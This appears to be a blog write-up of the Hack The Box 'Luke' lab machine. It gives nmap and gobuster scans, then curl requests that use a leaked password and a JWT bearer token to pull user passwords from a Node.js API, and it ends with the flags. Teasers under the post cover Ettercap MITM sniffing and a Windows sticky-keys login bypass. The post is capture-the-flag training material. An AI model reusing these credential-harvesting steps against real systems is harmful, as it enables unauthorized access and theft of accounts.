Skip to main content

Hackthebox Luke Walkthrough

LUKE -10.10.10.137

Nmap scan result-
nmap -sC -sV 10.10.10.137
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-18 23:03 IST
Nmap scan report for 10.10.10.137
Host is up (0.20s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3+ (ext.1)
22/tcp   open  ssh?
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
80/tcp   open  http    Apache httpd 2.4.38 ((FreeBSD) PHP/7.3.3)
|_http-server-header: Apache/2.4.38 (FreeBSD) PHP/7.3.3
3000/tcp open  http    Node.js Express framework
8000/tcp open  http    Ajenti http control panel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 221.94 seconds


gobuster-
10.10.10.137-
gobuster dir -u http://10.10.10.137 -w '/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt' -x php
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.137
[+] Threads:        10
[+] Wordlist:       /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php
[+] Timeout:        10s
===============================================================
2019/09/18 23:01:56 Starting gobuster
===============================================================
/login.php (Status: 200)
/member (Status: 301)
/management (Status: 401)
/css (Status: 301)
/js (Status: 301)
/vendor (Status: 301)
/config.php (Status: 200)
/LICENSE (Status: 200)

gobuster-
10.10.10.137:3000

gobuster dir -u http://10.10.10.137:3000 -w '/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt'
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.137:3000
[+] Threads:        10
[+] Wordlist:       /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2019/09/18 23:02:24 Starting gobuster
===============================================================
/login (Status: 200)
/users (Status: 200)
/Login (Status: 200)
/Users (Status: 200)

Creds--
config.php(10.10.10.137)-root:Zk6heYCyv6ZE9Xcg

  


Auth-
Curl post request----

curl -XPOST http://10.10.10.137:3000/login -d 'username=admin&password=Zk6heYCyv6ZE9Xcg';echo
{"success":true,"message":"Authentication successful!","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTY4ODI4OTk1LCJleHAiOjE1Njg5MTUzOTV9.uhbegEBouu6vqm3QtxY5gYWbpuIcw1_sKbxY6sYtves"}

echo -n eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTY4ODI4OTk1LCJleHAiOjE1Njg5MTUzOTV9.uhbegEBouu6vqm3QtxY5gYWbpuIcw1_sKbxY6sYtves"} |base64 -d

Information about the token:-
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
data
eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTY4ODI4OTk1LCJleHAiOjE1Njg5MTUzOTV9.
signature
uhbegEBouu6vqm3QtxY5gYWbpuIcw1_sKbxY6sYtves
jwt type encoded
hs256 algo

curl http://10.10.10.137:3000/ -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTY4ODMwMzMyLCJleHAiOjE1Njg5MTY3MzJ9.VSAfIKjSF762JJbJRhgvpEgw28pvdfCRPXKPc2ega0Q' ; echo
{"message":"Welcome admin ! "}

curl http://10.10.10.137:3000/users -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTY4ODMwMzMyLCJleHAiOjE1Njg5MTY3MzJ9.VSAfIKjSF762JJbJRhgvpEgw28pvdfCRPXKPc2ega0Q' | jq
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   181  100   181    0     0    460      0 --:--:-- --:--:-- --:--:--   459
[
  {
    "ID": "1",
    "name": "Admin",
    "Role": "Superuser"
  },
  {
    "ID": "2",
    "name": "Derry",
    "Role": "Web Admin"
  },
  {
    "ID": "3",
    "name": "Yuri",
    "Role": "Beta Tester"
  },
  {
    "ID": "4",
    "name": "Dory",
    "Role": "Supporter"
  }
]

 Admin pass
curl http://10.10.10.137:3000/users/Admin -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTY4ODMwMzMyLCJleHAiOjE1Njg5MTY3MzJ9.VSAfIKjSF762JJbJRhgvpEgw28pvdfCRPXKPc2ega0Q' | jq
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    45  100    45    0     0     81      0 --:--:-- --:--:-- --:--:--    81
{
  "name": "Admin",
  "password": "WX5b7)>/rp$U)FW"




Derry pass

curl http://10.10.10.137:3000/users/Derry -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTY4ODMwMzMyLCJleHAiOjE1Njg5MTY3MzJ9.VSAfIKjSF762JJbJRhgvpEgw28pvdfCRPXKPc2ega0Q' | jq
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    46  100    46    0     0     21      0  0:00:02  0:00:02 --:--:--    21
{
  "name": "Derry",
  "password": "rZ86wwLvx7jUxtch"

 yuri pass 

  curl http://10.10.10.137:3000/users/Yuri -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTY4ODMwMzMyLCJleHAiOjE1Njg5MTY3MzJ9.VSAfIKjSF762JJbJRhgvpEgw28pvdfCRPXKPc2ega0Q' | jq
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    41  100    41    0     0     94      0 --:--:-- --:--:-- --:--:--    94
{
  "name": "Yuri",
  "password": "bet@tester87"
 
  duri pass


curl http://10.10.10.137:3000/users/Dory -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTY4ODMwMzMyLCJleHAiOjE1Njg5MTY3MzJ9.VSAfIKjSF762JJbJRhgvpEgw28pvdfCRPXKPc2ega0Q' | jq
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    44  100    44    0     0    109      0 --:--:-- --:--:-- --:--:--   109
{
  "name": "Dory",
  "password": "5y:!xa=ybfe)/QD"

port 8000

root:KpMasng6S5EtTy9Z


 10.10.10.137/8000  - passward & user root





 cat user.txt-- 58d441e500e8941f9cf3ba
 root-8448343028fadde1e2a1b  



                                                                                                                                  
                                                                                                                                                                                                                                                         


Comments

Popular posts from this blog

METASPLOIT

Tʜᴇ Mᴇᴛᴀsᴘʟᴏɪᴛ Pʀᴏᴊᴇᴄᴛ ɪs ᴀ ᴄᴏᴍᴘᴜᴛᴇʀ sᴇᴄᴜʀɪᴛʏ ᴘʀᴏᴊᴇᴄᴛ ᴛʜᴀᴛ ᴘʀᴏᴠɪᴅᴇs ɪɴꜰᴏʀᴍᴀᴛɪᴏɴ ᴀʙᴏᴜᴛ sᴇᴄᴜʀɪᴛʏ ᴠᴜʟɴᴇʀᴀʙɪʟɪᴛɪᴇs ᴀɴᴅ ᴀɪᴅs ɪɴ ᴘᴇɴᴇᴛʀᴀᴛɪᴏɴ ᴛᴇsᴛɪɴɢ ᴀɴᴅ IDS sɪɢɴᴀᴛᴜʀᴇ ᴅᴇᴠᴇʟᴏᴘᴍᴇɴᴛ. Iᴛ ɪs ᴏᴡɴᴇᴅ ʙʏ Bᴏsᴛᴏɴ, Mᴀssᴀᴄʜᴜsᴇᴛᴛs-ʙᴀsᴇᴅ sᴇᴄᴜʀɪᴛʏ ᴄᴏᴍᴘᴀɴʏ Rᴀᴘɪᴅ7. Iᴛs ʙᴇsᴛ-ᴋɴᴏᴡɴ sᴜʙ-ᴘʀᴏᴊᴇᴄᴛ ɪs ᴛʜᴇ ᴏᴘᴇɴ-sᴏᴜʀᴄᴇ Mᴇᴛᴀsᴘʟᴏɪᴛ Fʀᴀᴍᴇᴡᴏʀᴋ, ᴀ ᴛᴏᴏʟ ꜰᴏʀ ᴅᴇᴠᴇʟᴏᴘɪɴɢ ᴀɴᴅ ᴇxᴇᴄᴜᴛɪɴɢ ᴇxᴘʟᴏɪᴛ ᴄᴏᴅᴇ ᴀɢᴀɪɴsᴛ ᴀ ʀᴇᴍᴏᴛᴇ ᴛᴀʀɢᴇᴛ ᴍᴀᴄʜɪɴᴇ. Oᴛʜᴇʀ ɪᴍᴘᴏʀᴛᴀɴᴛ sᴜʙ-ᴘʀᴏᴊᴇᴄᴛs ɪɴᴄʟᴜᴅᴇ ᴛʜᴇ Oᴘᴄᴏᴅᴇ Dᴀᴛᴀʙᴀsᴇ, sʜᴇʟʟᴄᴏᴅᴇ ᴀʀᴄʜɪᴠᴇ ᴀɴᴅ ʀᴇʟᴀᴛᴇᴅ ʀᴇsᴇᴀʀᴄʜ. Tʜᴇ Mᴇᴛᴀsᴘʟᴏɪᴛ Pʀᴏᴊᴇᴄᴛ ɪɴᴄʟᴜᴅᴇs ᴀɴᴛɪ-ꜰᴏʀᴇɴsɪᴄ ᴀɴᴅ ᴇᴠᴀsɪᴏɴ ᴛᴏᴏʟs, sᴏᴍᴇ ᴏꜰ ᴡʜɪᴄʜ ᴀʀᴇ ʙᴜɪʟᴛ ɪɴᴛᴏ ᴛʜᴇ Mᴇᴛᴀsᴘʟᴏɪᴛ Fʀᴀᴍᴇᴡᴏʀᴋ. Mᴇᴛᴀsᴘʟᴏɪᴛ ɪs ᴘʀᴇ-ɪɴsᴛᴀʟʟᴇᴅ ɪɴ ᴛʜᴇ Kᴀʟɪ Lɪɴᴜx ᴏᴘᴇʀᴀᴛɪɴɢ sʏsᴛᴇᴍ.  Tʜᴇ ʙᴀsɪᴄ sᴛᴇᴘs ꜰᴏʀ ᴇxᴘʟᴏɪᴛɪɴɢ ᴀ sʏsᴛᴇᴍ ᴜsɪɴɢ ᴛʜᴇ Fʀᴀᴍᴇᴡᴏʀᴋ ɪɴᴄʟᴜᴅᴇ:     Cʜᴏᴏsɪɴɢ ᴀɴᴅ ᴄᴏɴꜰɪɢᴜʀɪɴɢ ᴀɴ ᴇxᴘʟᴏɪᴛ (ᴄᴏᴅᴇ ᴛʜᴀᴛ ᴇɴᴛᴇʀs ᴀ ᴛᴀʀɢᴇᴛ sʏsᴛᴇᴍ ʙʏ ᴛᴀᴋɪɴɢ ᴀᴅᴠᴀɴᴛᴀɢᴇ ᴏꜰ ᴏɴᴇ ᴏꜰ ɪᴛs ʙᴜɢs; ᴀʙᴏᴜᴛ 900 ᴅɪꜰꜰᴇʀᴇɴᴛ ᴇxᴘʟᴏɪᴛs ꜰᴏʀ Wɪɴᴅᴏᴡs, Uɴɪx/Lɪɴᴜx ᴀɴᴅ Mᴀᴄ OS X sʏsᴛᴇᴍs ᴀʀᴇ ɪɴᴄʟᴜᴅᴇᴅ);     Oᴘᴛɪᴏɴᴀʟʟʏ ᴄʜᴇᴄᴋɪɴɢ ᴡʜᴇᴛʜ...

MITM using Ettercap

Man In The Middle Attack The man-in-the-middle attack (also known as a bucket-brigade attack and abbreviated MITM) is a form of active eavesdropping in which the attacker makes independent connections with the victims and relays messages between them, making them believe that they are talking directly to each other over a private connection when in fact the entire conversation is controlled by the attacker. Ettercap Ettercap is a suite for man in the middle attacks on LAN (local area network). It features sniffing of live connections, content filtering on the fly and many other interesting tricks. It supports active and passive dissection of many protocols (even ciphered ones) and includes many feature for network and host analysis. In this tutorial i will explain how to sniff (user names,passwords) in LAN using Ettercap Configuring Ettercap for the Attack We will be using Ettercap to perform the MiTM attack, but to do so, we will have to set up Ettercap to use IPTables to forwa...

Windows Hacking

Here we’ll learn how to break an Administrators password or to create an account without knowing the Administrator password. We need a backtrack CD What we’ll do here is, we will change the sticky key file “sethc.exe” file name to “cmd.exe” file so that if we will press the shift button 5 times on the login screen the command prompt will come up. Once the command prompt displayed we can make a user through command and can give the Administrators rights to him. Steps: 1. Insert the CD in CD-ROM Live boot the system through the backtrack O/S, Select the boot priority by pressing F12 CD/DVD After the machine will boot if it will ask you for the login, then the Username = Root Password = toor Type “startx” to change CLI to GUI Once you come to the GUI 2. Open a Terminal Type:#fdisk –l (To check the free disk) 3. #mkdir /mnt/cdrive (To make a directory to mount the cdrive, you can use any name here it is just a folder name) 4. #mount –t ntfs /dev/sda2 /mnt/cdrive (Mount the C...